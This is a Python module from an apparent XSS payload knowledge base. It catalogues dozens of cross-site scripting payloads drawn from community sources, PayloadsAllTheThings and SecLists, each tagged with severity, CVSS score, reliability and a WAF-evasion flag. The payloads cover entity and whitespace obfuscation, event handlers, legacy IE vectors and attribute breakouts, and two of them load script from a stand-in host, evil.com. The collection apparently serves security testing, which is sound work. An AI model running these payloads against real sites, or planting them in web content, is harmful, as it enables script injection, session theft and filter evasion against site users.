#!/usr/bin/env python3
"""
Project: BRS-KB (BRS XSS Knowledge Base)
Company: EasyProTech LLC (www.easypro.tech)
Dev: Brabus
Date: 2025-12-26 UTC
Status: Refactored
Telegram: https://t.me/EasyProTech

HTML Tag XSS Payloads - Exotic Part 2
"""

from ..models import PayloadEntry


EXOTIC_PAYLOADS_PART2 = {
    "cm-iframe-newline-tab": PayloadEntry(
        payload="<iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;a&NewLine;&Tab;s&NewLine;&Tab;c&NewLine;&Tab;r&NewLine;&Tab;i&NewLine;&Tab;p&NewLine;&Tab;t&colon;alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe javascript with heavy whitespace entities",
        tags=["community", "iframe", "whitespace", "entity"],
        reliability="low",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "cm-iframe-fullscreen": PayloadEntry(
        payload='<iframe style="position:absolute;top:0;left:0;width:100%;height:100%" onmouseover="alert(1)">',
        contexts=["html_content"],
        severity="medium",
        cvss_score=6.5,
        description="Fullscreen iframe with onmouseover",
        tags=["community", "iframe", "fullscreen", "mouseover"],
        reliability="high",
    ),
    "cm-special-emoticons": PayloadEntry(
        payload="<script ^__^>alert(1)</script ^__^>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with emoticon characters",
        tags=["community", "script", "emoticon", "special"],
        reliability="low",
        waf_evasion=True,
    ),
    "cm-special-tilde": PayloadEntry(
        payload="<script ~~~>alert(1)</script ~~~>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with tilde characters",
        tags=["community", "script", "tilde", "special"],
        reliability="low",
        waf_evasion=True,
    ),
    "cm-special-pipe": PayloadEntry(
        payload="//|\\\\<script //|\\\\src='//evil.com/xss.js'>//|\\\\</script //|\\\\>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with pipe and backslash patterns",
        tags=["community", "script", "pipe", "special"],
        reliability="low",
        waf_evasion=True,
    ),
    "cm-special-sad": PayloadEntry(
        payload="</style &#32;><script &#32; :-(>/**/alert(1)/**/</script &#32; :-(>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Script with emoticon and space entities",
        tags=["community", "script", "emoticon", "entity"],
        reliability="low",
        encoding="html-entities",
        waf_evasion=True,
    ),
    # === PayloadsAllTheThings HTML Tags ===
    "patt-basic-script": PayloadEntry(
        payload='<script>alert("XSS")</script>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Basic script tag XSS",
        tags=["patt", "basic", "script"],
        reliability="high",
    ),
    "patt-basic-img": PayloadEntry(
        payload='<img src=x onerror=alert("XSS");>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Image onerror XSS",
        tags=["patt", "basic", "img", "onerror"],
        reliability="high",
    ),
    "patt-basic-body": PayloadEntry(
        payload='<body onload=alert("XSS")>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Body onload XSS",
        tags=["patt", "basic", "body", "onload"],
        reliability="high",
    ),
    "patt-noscript": PayloadEntry(
        payload='<noscript><p title="</noscript><img src=x onerror=alert(1)>">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS via noscript element",
        tags=["patt", "noscript", "bypass"],
        reliability="medium",
    ),
    "patt-xmp": PayloadEntry(
        payload='<xmp><img src="</xmp><img src=x onerror=alert(1)//">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS via xmp element",
        tags=["patt", "xmp", "bypass"],
        reliability="medium",
    ),
    "patt-isindex": PayloadEntry(
        payload="<isindex type=image src=1 onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="XSS via isindex element (deprecated)",
        tags=["patt", "isindex", "deprecated"],
        reliability="low",
    ),
    # === SecLists RSNAKE Classic Payloads ===
    "sl-rsnake-img-src-js": PayloadEntry(
        payload="<IMG SRC=\"javascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - img src javascript",
        tags=["seclists", "rsnake", "classic", "img"],
        reliability="high",
    ),
    "sl-rsnake-img-src-js-noq": PayloadEntry(
        payload="<IMG SRC=javascript:alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - img src javascript no quotes",
        tags=["seclists", "rsnake", "classic", "img", "no-quotes"],
        reliability="high",
    ),
    "sl-rsnake-img-src-case": PayloadEntry(
        payload="<IMG SRC=JaVaScRiPt:alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - mixed case javascript",
        tags=["seclists", "rsnake", "classic", "case-insensitive"],
        reliability="medium",
        waf_evasion=True,
    ),
    "sl-rsnake-img-encode-tab": PayloadEntry(
        payload="<IMG SRC=\"jav\tascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - embedded tab in javascript",
        tags=["seclists", "rsnake", "classic", "tab", "obfuscation"],
        reliability="medium",
        waf_evasion=True,
    ),
    "sl-rsnake-img-encode-newline": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0A;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - encoded newline in javascript",
        tags=["seclists", "rsnake", "classic", "newline", "entity"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "sl-rsnake-img-encode-cr": PayloadEntry(
        payload="<IMG SRC=\"jav&#x0D;ascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - encoded carriage return",
        tags=["seclists", "rsnake", "classic", "carriage-return", "entity"],
        reliability="medium",
        encoding="html-entities",
        waf_evasion=True,
    ),
    "sl-rsnake-img-multiline": PayloadEntry(
        payload="<IMG\nSRC\n=\n\"\nj\na\nv\na\ns\nc\nr\ni\np\nt\n:\na\nl\ne\nr\nt\n(\n'\nX\nS\nS\n'\n)\n\"\n>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - multiline obfuscation",
        tags=["seclists", "rsnake", "classic", "multiline", "obfuscation"],
        reliability="low",
        waf_evasion=True,
    ),
    "sl-rsnake-null-char": PayloadEntry(
        payload='perl -e \'print "<IMG SRC=java\\0script:alert(\\"XSS\\")>";\'',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - null character injection",
        tags=["seclists", "rsnake", "classic", "null-byte"],
        reliability="low",
        waf_evasion=True,
    ),
    "sl-rsnake-img-dynsrc": PayloadEntry(
        payload="<IMG DYNSRC=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - dynsrc attribute (IE)",
        tags=["seclists", "rsnake", "classic", "dynsrc", "ie"],
        reliability="low",
        browser_support=["ie"],
    ),
    "sl-rsnake-img-lowsrc": PayloadEntry(
        payload="<IMG LOWSRC=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - lowsrc attribute",
        tags=["seclists", "rsnake", "classic", "lowsrc"],
        reliability="low",
    ),
    "sl-rsnake-vbscript": PayloadEntry(
        payload="<IMG SRC='vbscript:msgbox(\"XSS\")'>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - vbscript (IE)",
        tags=["seclists", "rsnake", "classic", "vbscript", "ie"],
        reliability="low",
        browser_support=["ie"],
    ),
    "sl-rsnake-livescript": PayloadEntry(
        payload='<IMG SRC="livescript:[code]">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - livescript (Netscape)",
        tags=["seclists", "rsnake", "classic", "livescript", "legacy"],
        reliability="low",
    ),
    "sl-rsnake-mocha": PayloadEntry(
        payload='<IMG SRC="mocha:[code]">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - mocha (Netscape)",
        tags=["seclists", "rsnake", "classic", "mocha", "legacy"],
        reliability="low",
    ),
    "sl-rsnake-meta-refresh": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - meta refresh javascript",
        tags=["seclists", "rsnake", "classic", "meta", "refresh"],
        reliability="medium",
    ),
    "sl-rsnake-meta-dataurl": PayloadEntry(
        payload='<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - meta refresh data URL",
        tags=["seclists", "rsnake", "classic", "meta", "data-url", "base64"],
        reliability="medium",
        encoding="base64",
        waf_evasion=True,
    ),
    "sl-rsnake-table-bg": PayloadEntry(
        payload="<TABLE BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - table background",
        tags=["seclists", "rsnake", "classic", "table", "background"],
        reliability="low",
    ),
    "sl-rsnake-td-bg": PayloadEntry(
        payload="<TD BACKGROUND=\"javascript:alert('XSS')\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - td background",
        tags=["seclists", "rsnake", "classic", "td", "background"],
        reliability="low",
    ),
    "sl-rsnake-div-bg": PayloadEntry(
        payload="<DIV STYLE=\"background-image: url(javascript:alert('XSS'))\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - div background-image",
        tags=["seclists", "rsnake", "classic", "div", "css", "background-image"],
        reliability="low",
    ),
    "sl-rsnake-div-width": PayloadEntry(
        payload="<DIV STYLE=\"width: expression(alert('XSS'));\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - CSS expression (IE)",
        tags=["seclists", "rsnake", "classic", "css", "expression", "ie"],
        reliability="low",
        browser_support=["ie"],
    ),
    "sl-rsnake-style-tag": PayloadEntry(
        payload="<STYLE>@im\\port'\\ja\\televasc\\teleript:alert(\"XSS\")';</STYLE>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - style import bypass",
        tags=["seclists", "rsnake", "classic", "style", "import"],
        reliability="low",
        waf_evasion=True,
    ),
    "sl-rsnake-input-onfocus": PayloadEntry(
        payload='<INPUT TYPE="IMAGE" SRC="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - input image src",
        tags=["seclists", "rsnake", "classic", "input", "image"],
        reliability="medium",
    ),
    "sl-rsnake-bgsound": PayloadEntry(
        payload="<BGSOUND SRC=\"javascript:alert('XSS');\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - bgsound (IE)",
        tags=["seclists", "rsnake", "classic", "bgsound", "ie"],
        reliability="low",
        browser_support=["ie"],
    ),
    "sl-rsnake-br-size": PayloadEntry(
        payload="<BR SIZE=\"&{alert('XSS')}\">",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - br size (Netscape)",
        tags=["seclists", "rsnake", "classic", "br", "legacy"],
        reliability="low",
    ),
    "sl-rsnake-link-stylesheet": PayloadEntry(
        payload='<LINK REL="stylesheet" HREF="javascript:alert(\'XSS\');">',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="RSNAKE classic - link stylesheet",
        tags=["seclists", "rsnake", "classic", "link", "stylesheet"],
        reliability="low",
    ),
    "sl-rsnake-xss-locator": PayloadEntry(
        payload="'';!--\"<XSS>=&{()}",
        contexts=["html_content", "javascript"],
        severity="medium",
        cvss_score=5.0,
        description="RSNAKE XSS locator/probe string",
        tags=["seclists", "rsnake", "classic", "locator", "probe"],
        reliability="medium",
    ),
    # === SecLists Jhaddix Payloads ===
    "sl-jhaddix-svg-onload": PayloadEntry(
        payload="<svg/onload=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - minimal svg onload",
        tags=["seclists", "jhaddix", "svg", "minimal"],
        reliability="high",
    ),
    "sl-jhaddix-img-onerror": PayloadEntry(
        payload="<img src=x onerror=alert('XSS')/>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - minimal img onerror",
        tags=["seclists", "jhaddix", "img", "minimal"],
        reliability="high",
    ),
    "sl-jhaddix-body-onload": PayloadEntry(
        payload="<body onload=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - body onload",
        tags=["seclists", "jhaddix", "body", "onload"],
        reliability="high",
    ),
    "sl-jhaddix-input-autofocus": PayloadEntry(
        payload="<input autofocus onfocus=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - input autofocus onfocus",
        tags=["seclists", "jhaddix", "input", "autofocus"],
        reliability="high",
    ),
    "sl-jhaddix-marquee": PayloadEntry(
        payload="<marquee onstart=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - marquee onstart",
        tags=["seclists", "jhaddix", "marquee"],
        reliability="medium",
    ),
    "sl-jhaddix-details": PayloadEntry(
        payload="<details open ontoggle=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - details ontoggle",
        tags=["seclists", "jhaddix", "details", "html5"],
        reliability="high",
    ),
    "sl-jhaddix-video-onerror": PayloadEntry(
        payload="<video src=x onerror=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - video onerror",
        tags=["seclists", "jhaddix", "video", "html5"],
        reliability="high",
    ),
    "sl-jhaddix-audio-onerror": PayloadEntry(
        payload="<audio src=x onerror=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - audio onerror",
        tags=["seclists", "jhaddix", "audio", "html5"],
        reliability="high",
    ),
    "sl-jhaddix-object-onerror": PayloadEntry(
        payload="<object onerror=alert('XSS')>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Jhaddix - object onerror",
        tags=["seclists", "jhaddix", "object"],
        reliability="medium",
    ),
    # === SecLists Intruder/Fuzzing Payloads ===
    "sl-fuzz-script-simple": PayloadEntry(
        payload="<script>alert(1)</script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Simple script fuzzing payload",
        tags=["seclists", "fuzzing", "script", "simple"],
        reliability="high",
    ),
    "sl-fuzz-script-src": PayloadEntry(
        payload="<script src=//evil.com/xss.js></script>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="External script fuzzing payload",
        tags=["seclists", "fuzzing", "script", "external"],
        reliability="high",
    ),
    "sl-fuzz-iframe-js": PayloadEntry(
        payload="<iframe src=javascript:alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="Iframe javascript fuzzing payload",
        tags=["seclists", "fuzzing", "iframe", "javascript"],
        reliability="high",
    ),
    "sl-fuzz-img-quote-break": PayloadEntry(
        payload='"><img src=x onerror=alert(1)>',
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Quote-breaking img fuzzing payload",
        tags=["seclists", "fuzzing", "img", "quote-break"],
        reliability="high",
    ),
    "sl-fuzz-tag-break": PayloadEntry(
        payload="'><script>alert(1)</script>",
        contexts=["html_attribute"],
        severity="high",
        cvss_score=7.5,
        description="Tag-breaking script fuzzing payload",
        tags=["seclists", "fuzzing", "script", "tag-break"],
        reliability="high",
    ),
    "sl-fuzz-event-inject": PayloadEntry(
        payload='" onmouseover=alert(1) x="',
        contexts=["html_attribute"],
        severity="medium",
        cvss_score=6.5,
        description="Event injection fuzzing payload",
        tags=["seclists", "fuzzing", "event", "injection"],
        reliability="high",
    ),
    "sl-fuzz-js-escape": PayloadEntry(
        payload="';alert(1)//",
        contexts=["javascript"],
        severity="high",
        cvss_score=7.5,
        description="JS string escape fuzzing payload",
        tags=["seclists", "fuzzing", "javascript", "escape"],
        reliability="high",
    ),
    "sl-fuzz-js-template": PayloadEntry(
        payload="${alert(1)}",
        contexts=["javascript", "template"],
        severity="high",
        cvss_score=7.5,
        description="Template literal fuzzing payload",
        tags=["seclists", "fuzzing", "template", "es6"],
        reliability="high",
    ),
    # === SecLists HTML5 Specific ===
    "sl-html5-svg-animate": PayloadEntry(
        payload="<svg><animate onbegin=alert(1) attributeName=x dur=1s>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 SVG animate onbegin",
        tags=["seclists", "html5", "svg", "animate"],
        reliability="high",
    ),
    "sl-html5-svg-set": PayloadEntry(
        payload="<svg><set onbegin=alert(1) attributeName=x>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 SVG set onbegin",
        tags=["seclists", "html5", "svg", "set"],
        reliability="high",
    ),
    "sl-html5-math-xlink": PayloadEntry(
        payload='<math><a xlink:href="javascript:alert(1)">click</a></math>',
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 MathML xlink",
        tags=["seclists", "html5", "mathml", "xlink"],
        reliability="medium",
    ),
    "sl-html5-form-button": PayloadEntry(
        payload="<form><button formaction=javascript:alert(1)>XSS</button>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 form button formaction",
        tags=["seclists", "html5", "form", "formaction"],
        reliability="high",
    ),
    "sl-html5-isindex": PayloadEntry(
        payload="<isindex type=image src=1 onerror=alert(1)>",
        contexts=["html_content"],
        severity="high",
        cvss_score=7.5,
        description="HTML5 isindex (deprecated)",
        tags=["seclists", "html5", "isindex", "deprecated"],
        reliability="low",
    ),
}
